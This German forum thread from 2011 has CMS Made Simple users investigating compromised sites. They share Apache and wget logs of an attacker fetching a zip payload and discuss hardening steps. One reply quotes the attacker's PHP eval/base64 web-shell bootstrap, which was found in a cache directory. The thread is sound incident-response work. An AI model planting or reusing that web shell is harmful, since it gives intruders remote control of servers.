[GELÖST] Angriff über das Search Modul

Mike · 26. Juni 2011 18:24

Es hat ein Angriff auf zwei meiner Seiten die mit CMS made simple laufen statt gefunden. Dabei scheint das Problem mit dem Search Modul zusammen zu hängen. Ich habe bei mir das Modul deaktiviert und entfernt damit ich nicht mehr auf dieses Problem stoße, hoffe aber das jemand mit diesen Infos das Problem künftig beheben kann.

Aus dem Log habe ich folgende Infos erhalten:

[Wed Jun 22 09:11:30 2011] [error] PHP Fatal error: Call to undefined function curl_init() in /var/www/www.xxxxxxx.de/modules/Search/custom_script.php on line 5696
[Wed Jun 22 09:12:10 2011] [error] PHP Fatal error: Call to undefined function curl_init() in /var/www/www.xxxxxxx.de/modules/Search/custom_script.php on line 5696
sh: curl: not found
unzip: cannot find or open xxxxxxx.zip, xxxxxxx.zip.zip or xxxxxxx.zip.ZIP.
[Wed Jun 22 09:15:10 2011] [error] PHP Warning: unlink(xxxxxxx.zip): No such file or directory in /var/www/www.xxxxxxx.de/modules/Search/exec.php on line 5
sh: curl: not found
unzip: cannot find or open xxxxxxx.zip, xxxxxxx.zip.zip or xxxxxxx.zip.ZIP.
[Wed Jun 22 09:15:42 2011] [error] PHP Warning: unlink(xxxxxxx.zip): No such file or directory in /var/www/www.xxxxxxx.de/modules/Search/exec.php on line 5
[Wed Jun 22 09:20:40 2011] [error] PHP Fatal error: Call to undefined function curl_init() in /var/www/www.xxxxxxx.de/modules/Search/custom_script.php on line 5696
[Wed Jun 22 09:20:54 2011] [error] PHP Fatal error: Call to undefined function curl_init() in /var/www/www.xxxxxxx.de/modules/Search/custom_script.php on line 5696
--2011-06-22 09:23:27-- http://xxxxxxx.in/red/xxxxxxx.zip
Resolving xxxxxxx.in... xxx.xxx.xxx.xxx
Connecting to xxxxxxx.in|xxx.xxx.xxx.xxx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5012814 (4.8M) [application/zip]
Saving to: xxxxxxx.zip'

0K .......... .......... .......... .......... .......... 1% 312K 16s
50K .......... .......... .......... .......... .......... 2% 429K 13s

[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36
[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36
[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36
[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36
[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36
[Thu Jun 23 05:16:37 2011] [error] PHP Warning: Division by zero in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 35
[Thu Jun 23 05:16:37 2011] [error] PHP Notice: Undefined offset: 0 in /var/www/www.xxxxxxx.de/modules/Search/frame_script_test_.php on line 36

Es sind noch weietere der Division by Zero einträge vorhanden. Die Domains und IP Addressen habe ich unkentlich gemacht. Es wurde demnach über die custom_script.php eine zip datei hochgeladen und entpackt. Die Dateien lagen alle in dem Search Modul Verzeichnis und sonst waren keine unerwünschten Dateien zu finden.

Falls noch weitere Infos benötigt werden, stehe ich gerne zur Verfügung.

Beitrag geändert von Mike (26. Juni 2011 18:24)

Andynium · 26. Juni 2011 18:52

Danke für die Info!

Bin zwar kein Sicherheitsexperte, aber nach dem, was ich sehe, ist das Log unvollständig - bei einer Standard-CMSMS-Installation gibt es im Suchmodul keine custom_script.php.

Daher ist die Frage, wie dieses Script auf deinen Server gelangt ist ... zumindest muss es vor Beginn deines hier geposteten Log-Auszugs passiert sein.

Welche Sicherungsmaßnahmen hattest du eingerichtet?

NaN · 26. Juni 2011 19:24

Schließe mich Cyberman an.
Ich bezweifle, dass der Angriff tatsächlich über das Suchmodul kam.
Zumindest wird laut Deinem Log-Auszug kein einziges Script vom Suchmodul verwendet.

Davon mal abgesehen, wenn man auf den Modul Manager verzichtet und das Modulverzeichnis samt Unterverzeichnissen nicht beschreibbar ist, dann hätte dieser Angriff nie stattfinden können.
Außerdem hätte man bereits mit einer einfachen .htaccess-Datei den direkten Zugriff auf PHP- , oder ZIP-Dateien verbieten können.

Ich kann mich hier nur wiederholen: Lieber verbiete ich generell den direkten Zugriff auf alle Dateien und lasse nur dort diejenigen Dateien oder Dateitypen zu, wo es unbedingt nötig ist. Dann kann soetwas nie passieren.
Bsp.: http://www.cmsmadesimple.de/forum/viewtopic.php?id=765

Mike · 26. Juni 2011 21:00

Danke für die schnellen Antworten.

Ich habe mittlerweile schon weitere Sicherungen nach einem Artikel eingefügt und den Modul Manager gelöscht und deaktiviert.

Ich schaue einmal weiter was ich so finde, es wundert mich halt nur das es sich nur auf das Verzeichnis beschränkt.

Bisher habe ich noch folgende Zeilen entdeckt:

Beitrag geändert von Mike (26. Juni 2011 21:19)

NaN · 26. Juni 2011 21:49

Eine Datei namens action.do_readtemplate.php gibt es beim Searchmoul eigentlich auch nicht.
Falls möglich, prüfe auch mal die FTP-Logs.
Denn wichtig ist weniger wo sich die Dateien befinden (also völlig wurscht ob in modules/Search oder modules/News) sondern wie diese Dateien auf Deinen Webspace gelangt sind.

Mike · 27. Juni 2011 22:31

Da hast du recht, allerdings gibt es auf dem Server keinen FTP Zugang. Es handelt sich dabei um einen VHost der von außen nur über Port 80 erreichbar ist und ansonsten nur SSH Zugang bietet. Dort scheint aber keiner außer mir Zugang bekommen zu haben. Also ist die Chance das es sich um eine Sicherheitslücke in einem PHP Skript handelt eigentlich recht hoch.

Ich werde auf jedenfall weiter versuchen herauszufinden wie diese Dateien Ursprünglich dort gelandet sind und werde es auch hier mit teilen, wenn ich etwas entsprechendes finde.

Andynium · 27. Juni 2011 12:31

NaN schrieb:

Davon mal abgesehen, wenn man auf den Modul Manager verzichtet und das Modulverzeichnis samt Unterverzeichnissen nicht beschreibbar ist, dann hätte dieser Angriff nie stattfinden können.

Wenn da nicht die seltsame Angewohnheit mancher Programmierer wäre, nur und ausschließlich XML-Dateien zu veröffentlichen, siehe

http://dev.cmsmadesimple.org/project/files/996

mad

MatthiasN · 05. Juli 2011 00:13

Hallo,

Auch bei mir gab es ein derartiges Problem. Über das Search-Modul meiner Seite hat sich schädlicher Code in den Order modules/Search/ eingenistet, der dann Spam auf über meine Seite versendet hat. Mittlerweile habe ich die Verzeichnisse mittels htaccess weitestgehend vor Zugriffen geschützt.

Dennoch zeigt mir das Serverlog noch folgende Einträge an:

- - [05/Jul/2011:00:55:40 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:00:56:11 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:00:58:38 +0200] "GET /ferienwohnungen/ferienzimmer-stadt.html HTTP/1.1" 200 12790 "http://www.meine-domain.de/kontakt-feri … nsion.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:00:59:32 +0200] "GET /robots.txt HTTP/1.0" 403 212 "-" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" www.meine-domain.de
- - [05/Jul/2011:00:59:29 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:00:43 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:01:43 +0200] "GET /kontakt-ferienwohnung-stadt-pension.html HTTP/1.1" 200 12846 "http://www.meine-domain.de/ferienwohnun … stadt.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:02:40 +0200] "GET /ferienwohnungen/ferienzimmer-stadt.html HTTP/1.1" 200 12790 "http://www.meine-domain.de/kontakt-feri … nsion.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:04:03 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:04:26 +0200] "GET / HTTP/1.1" 200 13136 "http://www.meine-domain.de/ferienwohnun … stadt.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:04:47 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de

Auf dem Server selbst kann ich, dank dem htaccess-File, keine solchen Dateien finden, die hier als POST aufgeführt werden.

Wie kann ich solche POST-Zugriffe zukünftig verhindern?

NaN · 05. Juli 2011 12:25

Hast Du doch schon durch die .htaccess Datei.
Laut Deinen Logs wurde der Status 403 (Zugriff Verboten) zurückgegeben.
D.h. wer auch immer auf diese Dateien (ob nun per GET oder POST ist egal) zugreifen will, wird das nicht mehr können.

Ich würde die Dateien übrigens löschen und die Berechtigungen für das Modulverzeichnis und Unterverzeichnisse auf CHMOD 755 setzen.

Und auch an Dich die Fragen:
Welche CMS Version?
Hattest Du die Sicherheitstipps umgesetzt?
Welcher Provider?

Die Access-Logs geben leider auch bei Dir keinen Aufschluss darüber, wie die Dateien auf den Server gelangt sind.
Das Searchmodul scheint mir momentan nur der Dumme, der den Mist ausbaden darf. Schau auch mal in die System-Logs des CMS (im Backend unter "Administration"). Eventuell hat sich ja jemand Zugriff zum Backend verschafft (durch ein zu einfaches Passwort z.B.) und über den FileManager Dateien hochgeladen. Das müsste dann dort zu finden sein.

Ansonsten musst Du mal die FTP Logs oder die SSH Logs prüfen, wann sich wer eingeloggt hat. Eventuell ist der Angreifer auch darüber reingekommen.

Läuft auf dem Server noch andere Software?
Eventuell ist die Sicherheitslücke auch dort zu finden.

In jedem Fall würde ich jetzt erstmal sämtliche Passwörter ändern.

mag82008 · 05. Juli 2011 15:52

Bei mir gab es einen ähnlichen Angriff, habe bei meinen Websites das Search modul entfernt.

Es wurde eine manipulierte .htaccess Datei hochgeladen die auf russische server umleitet. Anschliessend wurden wohl spam mails verschickt die eine URL enthielten die auf http://meinewebseite.de/modules/Search/News.html verwiesen. Dabei wurde dann über die .htacess umgeleitet

Ich habe alle passwörter geändert und die Search module auf allen webseiten gelöscht, da dieser Angriff am nächsten tag gleich wieder erfolgte...

NaN · 05. Juli 2011 16:33

Wieso beantwortet eigentlich niemand meine Fragen?
(CMSms Version, Sicherheitstipps, Provider ... )
Es gibt meines Wissens momentan keinen einzigen Anhaltspunkt dafür, dass das Suchmodul für diese Angriffe verantwortlich ist.

.htaccess Dateien kann man bei "korrekter" Konfiguration des Servers nicht via PHP Script bearbeiten oder erstellen. Jedenfalls sollte ein Server meiner Meinung nach so eingestellt sein, dass Apache keine Schreibberechtigungen für Konfigurationsdateien hat. Das ist meines Wissens sogar die Standardkonfiguration.

Ich vermisse immer noch die Accesslogs, aus denen hervorgeht, wie die Daten auf den Server gelangt sind.
Der Zugriff auf Dateien im Verzeichnis "modules/Search/" die da nicht hingehören, ist noch kein Beweis für eine Sicherheitslücke im Suchmodul. Das bedeutet lediglich, dass jemand in diesem Verzeichnis bestimmte Dateien abgelegt hat. Auf welchem Wege ist leider immer noch unklar.

MatthiasN · 12. Juli 2011 18:26

Danke für die Erklärung: Hier nun zur Beantwortung der Fragen.

Die Versionen bei denen diese Zugriffe erfolgten (insgesamt 3 verschiedene Installationen) waren allesamt älterer Natur. 1.7 - 1.8

Gehostet werden diese bei alfahosting.de

Die Sicherheitstipps wurden im Vorfeld nicht gänzlich befolgt. (htaccess-Berechtigungen hab ich vernachlässigt). Auch tunnelte ich nicht via SSH-Login, habe da die Gefahren vernachlässigt.

Inzwischen sind die Systeme auf die neueste Version geupdatet und mit htaccess-Sperren belegt.

Bedarf es noch weiterer Infos?

Danke für die schnelle Hilfe...

MatthiasN

Peter · 14. Juli 2011 21:15

Ich habe eben kürzlich einen gleichen Fall analysiert:

cmsms Version 1.8.1
Wie ich bisher rekonstruieren konnte, lief das ganze in mehreren Stufen ab:

Ich habe die log Zeilen etwas gekürzt, damit's etwas lesbarer:
"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 404 188 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"
Da wird ein POST abgesetzt auf eine Datei die's so nicht gibt. -> 404

Erneuter POST - diesmal auf index.php - POST Daten nicht bekannt.
"POST hxxp://www.xx.xx/index.php HTTP/1.1" 200 6045 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

.. und noch ein POST mit einem merkwürdigen Parameter 'trololo' den ich sonst nirgends gefunden habe.
"POST hxxp://www.xx.xx/index.php?trololo=825 HTTP/1.1" 200 6843 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Mit dem letzten POST muss dann index.php im cache Directory erzeugt worden sein,
denn der nächste POST liefert darauf offenbar ein 200 OK zurück.

"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 200 65 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Die Datei index.php im cache Directory ist der Bootstrap. Der Inhalt ist simpel:

<?php eval(base64_decode($_POST["ev"])); ?>

Über diesen Mechanismus ist dann etwas später das File action.do_readtemplate.php im Search Directory erstellt worden.
"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 200 65 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Alle Zeitstempel der jeweiligen POSTs und Files stimmen jeweils exakt überein. D.h. die POST können dem Erzeugen der Files zugeordnet werden.

Damit ist die Sache erledigt. Alle weiteren Zugriffe etc. erfolgen dann über action.do_readtemplate.php. Mit dem Remote Pannel lässt sich dann alles anstellen .. also auch alle Seiten raufladen, Dateien runterladen - back connects einrichten etc.

Ich kenne die Eingeweide von cmsms zuwenig - um genau Nachzuvollziehen wie die Files erstellt wurden. Werde bei Gelegenheit noch etwas Zeit aufwerfen dafür. Ev. weiss ein Entwickler etwas mehr.

Gruss
Peter

mike-r · 15. Juli 2011 22:16

Fällt mir jetzt auch nichts konkretes ein, ausser dass es schön ist, endlich mal halbwegs harte Fakten dazu zu sehen, danke.
Soweit ich das mit meinen bescheidenen Kenntnissen beurteilen kann, sieht es tatsächlich danach aus, dass das Problem offenbar tatsächlich nicht im Suchmodul zu finden ist. Sondern (berichtige mich jemand mit mehr Plan) in der index.php bzw. in der POST-verarbeitung dieser bzw. in der Cache-verwaltung.

Interessanterweise sind alle Probleme hier wie auch via Google ausschliesslich in CMSMS und da ausschliesslich immer im Ordner Search. Eine Hoster-schwachstelle kann man somit (imho) ausschliessen.

NaN · 15. Juli 2011 00:35

Hallo Peter,

willkommen im Forum und danke für Deine Analyse.

Hier klicken, um den Code zum Kopieren zu markieren

Erneuter POST - diesmal auf index.php - POST Daten nicht bekannt.

Das ist merkwürdig. POST Daten nicht bekannt, heißt nach meinem Verständins 'keine Daten mitgesendet'. Denn das anschließende "trololo=825" dürfte eigentlich überhaupt keinen Einfluss haben. Es müsste ganz normal die Startseite anzeigen. Wenn aber kurz darauf die index.php im cache Verzeichnis erstellt wurde, dann heißt das, dass irgendwo im CMS ein Script eingeschleust wurde, welches auf die Variable 'trololo' hört und dann die index.php im cache Verzeichnis erstellt. Ich kann mir aber nicht vorstellen, dass das durch leere POST Daten geschehen ist.

Eine Sicherheitslücke in der index.php bzw. in der Verarbeitung der POST Daten in der index.php ist meiner Meinung nach nicht das Problem. Auch nicht unbedingt in der Cache-Verwaltung. Direkter Zugriff auf php Dateien im tmp Verzeichnis sollte eigentlich - laut Sicherheitstipps - bereits mit einer .htaccess Datei verboten werden. Dann wäre zumindest das, was Peter beschreibt, nicht passiert.

Ich vermute, dass der Angriff schon viel früher begonnen hat. Dass erst kürzlich eine Sicherheitslücke in CMSms geschlossen wurde, habt ihr aber mitbekommen, oder? Diese Sicherheitslücke gab es leider schon sehr lange und zieht sich durch sämtliche CMSms Versionen. Dazu wurden die Versionen 1.6.10 und 1.9.4.2 veröffentlicht. D.h. alle anderen Versionen haben eine Schwachstelle im NewsModul, die sog. SQL Injektionen ermöglicht. Somit kann sich der Angreifer z.B. Zugang zum CMS verschaffen und eigentlich so ziemlich alles machen was er will. Ich vermute, dass über diese Lücke entsprechende Vorbereitungen getroffen wurden, für den Fall, dass diese Lücke geschlossen wird. Denn es ist merkwürdig, dass diese Probleme erst jetzt auftreten NACHDEM die Lücke eben geschlossen wurde. Als ob da jemand regelrecht darauf gewartet hätte. Denn das Sicherheitsupdate ändert lediglich ein paar Dateien im NewsModul. D.h. etwaige Veränderungen anderer Dateien durch den Angreifer bleiben davon unberührt.

Ich hatte schonmal an anderer Stelle erwähnt, dass man bei Sicherheitsupdates immer prüfen sollte, ob die Lücke nicht bereits ausgenutzt wurde. Ich weiß, das ist schwierig, aber ich hoffe, ihr versteht was ich damit sagen will. Ein Sicherheitsupdate bedeutet leider nicht, dass jetzt alles Paletti ist. Denn bis zum Update hatte der Angreifer genügend Zeit, entsprechende Mechanismen vorzubereiten.

(ist im Übrigen alles nur Spekulation, aber anders kann ich es mir momentan nicht erklären)

mike-r · 15. Juli 2011 01:17

NaN schrieb:

Ich vermute, dass der Angriff schon viel früher begonnen hat. [...]

Glaube ich nicht. CMSMS ist (mMn) viel zu klein, als dass da jemand langfristige Konzepte am Laufen hätte.

Dein Exkurs zum News-Modul habe ich nicht ganz verstanden (wobei es erklären könnte, warum ich auf keiner meiner (teilweise kamikazemässig alten) Installationen das Problem (bisher) habe, da ich das Modul nie nutz(t)e), ausser allein als Spekulation, wie Dein Fazit meint.
Das ist mir leider ein wenig zu dünn.

Was mich zur Wahrheitsfindung noch interessieren würde bei den Betroffenen: welche Rechte hat der Ordner MODULES bisher gehabt?

Beitrag geändert von mike-r (15. Juli 2011 01:20)

Peter · 15. Juli 2011 05:26

NaN schrieb:

Hallo Peter,
willkommen im Forum und danke für Deine Analyse.

Bitte - gerne! - Ich hoffe noch etwas Zeit zu finden für weitere Details

NaN schrieb:

Hier klicken, um den Code zum Kopieren zu markieren
Erneuter POST - diesmal auf index.php - POST Daten nicht bekannt.
Das ist merkwürdig. POST Daten nicht bekannt, heißt nach meinem Verständins 'keine Daten mitgesendet'. Denn das anschließende "trololo=825" dürfte eigentlich überhaupt keinen Einfluss haben. Es müsste ganz normal die Startseite anzeigen. Wenn aber kurz darauf die index.php im cache Verzeichnis erstellt wurde, dann heißt das, dass irgendwo im CMS ein Script eingeschleust wurde, welches auf die Variable 'trololo' hört und dann die index.php im cache Verzeichnis erstellt. Ich kann mir aber nicht vorstellen, dass das durch leere POST Daten geschehen ist.

Nein - die POST Daten waren sicher nicht leer. Mit "POST Daten nicht bekannt" meine ich, dass ich einfach nicht weiss, was im POST Body drin war. Da müssen mit Bestimmtheit irgendwelche Daten drin gewesen sein - sonst geht's nicht. Aber im Log sind die ja nicht ersichtlich. Das mit dem Parameter 'trololo' kann ich auf die Schnelle auch nirgends zuweisen, aber irgend eine Bewandtnis muss das noch haben.

Peter

NaN · 15. Juli 2011 16:25

mike-r schrieb:

Dein Exkurs zum News-Modul habe ich nicht ganz verstanden [...]

Da gibt es auch nicht viel zu verstehen.
Durch diese Lücke hätte man sich z.B. selbst einen Admin-Zugang fürs Backend erstellen können.
Den Rest kann man sich ja dann selber ausmalen.

Die Sache mit den unbekannten POST-Daten wurmt mich etwas (hatte ganz vergessen, dass Apache von Haus aus ja keine Post Daten loggt - zu Testzwecken wäre vielleicht mod_dumpio ganz interessant, aber auf längere Zeit eher eine Zumutung). Wenn man wüsste was genau da drin stand, dann hätte man zumindest mal einen konkreten Ansatz.

Forum für CMS/made simple

#1 26. Juni 2011 18:24

[GELÖST] Angriff über das Search Modul

#2 26. Juni 2011 18:52

Re: [GELÖST] Angriff über das Search Modul

#3 26. Juni 2011 19:24

Re: [GELÖST] Angriff über das Search Modul

#4 26. Juni 2011 21:00

Re: [GELÖST] Angriff über das Search Modul

#5 26. Juni 2011 21:49

Re: [GELÖST] Angriff über das Search Modul

#6 27. Juni 2011 22:31

Re: [GELÖST] Angriff über das Search Modul

#7 27. Juni 2011 12:31

Re: [GELÖST] Angriff über das Search Modul

#8 05. Juli 2011 00:13

Re: [GELÖST] Angriff über das Search Modul

#9 05. Juli 2011 12:25

Re: [GELÖST] Angriff über das Search Modul

#10 05. Juli 2011 15:52

Re: [GELÖST] Angriff über das Search Modul

#11 05. Juli 2011 16:33

Re: [GELÖST] Angriff über das Search Modul

#12 12. Juli 2011 18:26

Re: [GELÖST] Angriff über das Search Modul

#13 14. Juli 2011 21:15

Re: [GELÖST] Angriff über das Search Modul

#14 15. Juli 2011 22:16

Re: [GELÖST] Angriff über das Search Modul

#15 15. Juli 2011 00:35

Re: [GELÖST] Angriff über das Search Modul

#16 15. Juli 2011 01:17

Re: [GELÖST] Angriff über das Search Modul

#17 15. Juli 2011 05:26

Re: [GELÖST] Angriff über das Search Modul

#18 15. Juli 2011 16:25

Re: [GELÖST] Angriff über das Search Modul

Fußzeile des Forums